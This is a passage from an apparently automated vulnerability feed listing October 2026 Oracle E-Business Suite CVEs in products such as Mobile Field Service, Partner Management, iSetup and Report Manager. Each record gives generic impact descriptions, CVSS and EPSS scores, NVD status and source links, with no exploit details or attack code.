Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101665).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101665&date=2026-10-25).
Sources:
NVD CVE-2026-101665: https://nvd.nist.gov/vuln/detail/CVE-2026-101665
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101665&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101662
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized read access to a subset of Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101662).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101662&date=2026-10-25).
Sources:
NVD CVE-2026-101662: https://nvd.nist.gov/vuln/detail/CVE-2026-101662
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101662&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized read access to a subset of Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101661
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101661).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101661&date=2026-10-25).
Sources:
NVD CVE-2026-101661: https://nvd.nist.gov/vuln/detail/CVE-2026-101661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101661&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101658
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101658).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101658&date=2026-10-25).
Sources:
NVD CVE-2026-101658: https://nvd.nist.gov/vuln/detail/CVE-2026-101658
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101658&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101650
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101650).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101650&date=2026-10-25).
Sources:
NVD CVE-2026-101650: https://nvd.nist.gov/vuln/detail/CVE-2026-101650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101650&date=2026-10-25
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101649
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101649).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101649&date=2026-10-25).
Sources:
NVD CVE-2026-101649: https://nvd.nist.gov/vuln/detail/CVE-2026-101649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101649&date=2026-10-25
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101648
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  While the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101648).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101648&date=2026-10-25).
Sources:
NVD CVE-2026-101648: https://nvd.nist.gov/vuln/detail/CVE-2026-101648
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101648&date=2026-10-25
Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  While the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).
https://kevwire.com/record/CVE-2026-101647
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports). (Oct 20, 2026).
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101647).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101647&date=2026-10-25).
Sources:
NVD CVE-2026-101647: https://nvd.nist.gov/vuln/detail/CVE-2026-101647
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101647&date=2026-10-25
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).
https://kevwire.com/record/CVE-2026-101646
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports). (Oct 20, 2026).
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101646).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101646&date=2026-10-25).
Sources:
NVD CVE-2026-101646: https://nvd.nist.gov/vuln/detail/CVE-2026-101646
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101646&date=2026-10-25
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).
https://kevwire.com/record/CVE-2026-101645
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports). (Oct 20, 2026).
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101645).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101645&date=2026-10-25).
Sources:
NVD CVE-2026-101645: https://nvd.nist.gov/vuln/detail/CVE-2026-101645
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101645&date=2026-10-25
Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101643
Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Sales Online accessible data as well as  unauthorized read access to a subset of Oracle Sales Online accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101643).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101643&date=2026-10-25).
Sources:
NVD CVE-2026-101643: https://nvd.nist.gov/vuln/detail/CVE-2026-101643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101643&date=2026-10-25
Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Sales Online accessible data as well as  unauthorized read access to a subset of Oracle Sales Online accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101642
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101642).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101642&date=2026-10-25).
Sources:
NVD CVE-2026-101642: https://nvd.nist.gov/vuln/detail/CVE-2026-101642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101642&date=2026-10-25
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101641
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101641).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101641&date=2026-10-25).
Sources:
NVD CVE-2026-101641: https://nvd.nist.gov/vuln/detail/CVE-2026-101641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101641&date=2026-10-25
Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-101638
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101638).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101638&date=2026-10-25).
Sources:
NVD CVE-2026-101638: https://nvd.nist.gov/vuln/detail/CVE-2026-101638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
